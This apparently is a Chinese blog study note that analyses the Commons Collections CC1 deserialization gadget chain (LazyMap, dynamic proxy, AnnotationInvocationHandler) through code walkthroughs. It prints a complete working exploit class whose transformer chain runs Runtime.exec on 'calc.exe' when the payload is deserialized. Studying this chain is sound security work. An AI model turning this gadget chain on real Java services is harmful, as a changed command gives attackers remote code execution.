javacc1链的lazymap部分(源码分析学习笔记)

javacc1链的lazymap部分

思路

创建一个lazymap的动态代理,然后传入AnnotationInvocationHandler的变量里,当调用方法时(代理对象的方法),自动触发代理,进入AnnotationInvocationHandler的invoke方法从而触发lazy的get方法,然后就是ChainedTransformer了,与上一条链一样,大体思路

源码

先贴上源码,以下链来源于p神师傅

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
                String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "calc.exe" }),
};
        Transformer transformerChain = new
                ChainedTransformer(transformers);



        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}
动态代理

在这之前我们先了解一下什么是动态代理

我先举个例子来自y4师傅

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.String;
import java.lang.reflect.Proxy;

public class demo1 {

    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                if (method.getName().equals("getFlag")) {
                    System.out.println("就这?");
                }
                return null;
            }
        };
        flag getFlag = (flag) Proxy.newProxyInstance(
                GiveFlag.class.getClassLoader(),
                new Class[] { flag.class },
                handler);
        getFlag.getFlag();
    }
}


interface flag {
    void getFlag();
}

class GiveFlag implements flag {
    public void getFlag() {
        System.out.println("Give you flag:flag{y4tacker}");
    }
}

结果输出 就这

我对动态代理的理解是

一个实现接口的实现类重写的接口的方法,我们可以用一个代理对象来包裹这个实现类,使用Proxy.newProxyInstance方法来生成一个代理对象

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);

三个参数分别是:代理类的构造器,代理类实现的接口,实现InvocationHandler接口的对象,里面一般包含着功能逻辑(一般来说主要是invoke方法)。当我们的代理对象执行方法时会自动跳到InvocationHandler对象的invoke方法(invoke方法中会获取到执行的方法并用反射来调用被代理的类的方法)我们简单了解了动态代理之后,我们就来分析一下

链分析

首先我们发现,lazymap中也有get方法,并且我们可以控制参数

在这里插入图片描述

再看看lazy的构造方法

在这里插入图片描述

发现传入一个map和Transformer对象,我们只要让这个Transformer等于我们构造的ChainedTransformer就ok了,下一步看看有谁的方法调用了lazymap的get方法

我们想的最好的情况是正好有一个类的readobject方法调用,那么这条链直接成了,但作者找的还是AnnotationInvocationHandler,我们来看一下为什么要这么做

我们先看哪个方法中那个地方调用了get方法

在这里插入图片描述

发现是他的invok方法,并且我们这个memberValue我们是可以传入的,他的类型就是一个map,我们看到这就应该能想到动态代理了,我们发现AnnotationInvocationHandler其实就是InvocationHandler接口的一个实现类,那也就是说我们代理对象的第三个参数就可以直接实例一个AnnotationInvocationHandler对象,逻辑就由其的Invoke方法确定

现在我们的思路就是怎么把readObject的起点连到这里

在这里插入图片描述

我们看到AnnotationInvocationHandler的readObject方法中调用了memberValue的entrySet方法,想一下我们把memberValue变量传入动态代理的对象,当调用entrySet方法时就去调用invoke方法,然后正好通过invoke的逻辑判断

if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);

entrySet是无参方法,绕过两层if执行memberValues.get(var4),

构造代码

下面我们来构造代码

Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

创建lazymap,传入tranformerChain(看上面源代码)

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

反射创建AnnotationInvocationHandler

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

创建handler,向上转型为InvocationHandler对象,并在newProxyInstance里传入,这时我们还需要最外层对proxyMap进行一个封装,也就是我们还需要一个AnnotationInvocationHandler对象,我是这么写的

Object Annotation =construct.newInstance(Retention.class,proxyMap );

然后对Annota进行反序列化就行了

在这里插入图片描述

roxyMap进行一个封装,也就是我们还需要一个AnnotationInvocationHandler对象,我是这么写的

Object Annotation =construct.newInstance(Retention.class,proxyMap );

然后对Annota进行反序列化就行了

没太搞懂最后动态代理在AnnotationInvocationHandler那里的应用,所以推迟了几天
y4师傅的文章
https://y4tacker.blog.csdn.net/article/details/117448761?spm=1001.2014.3001.5502

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值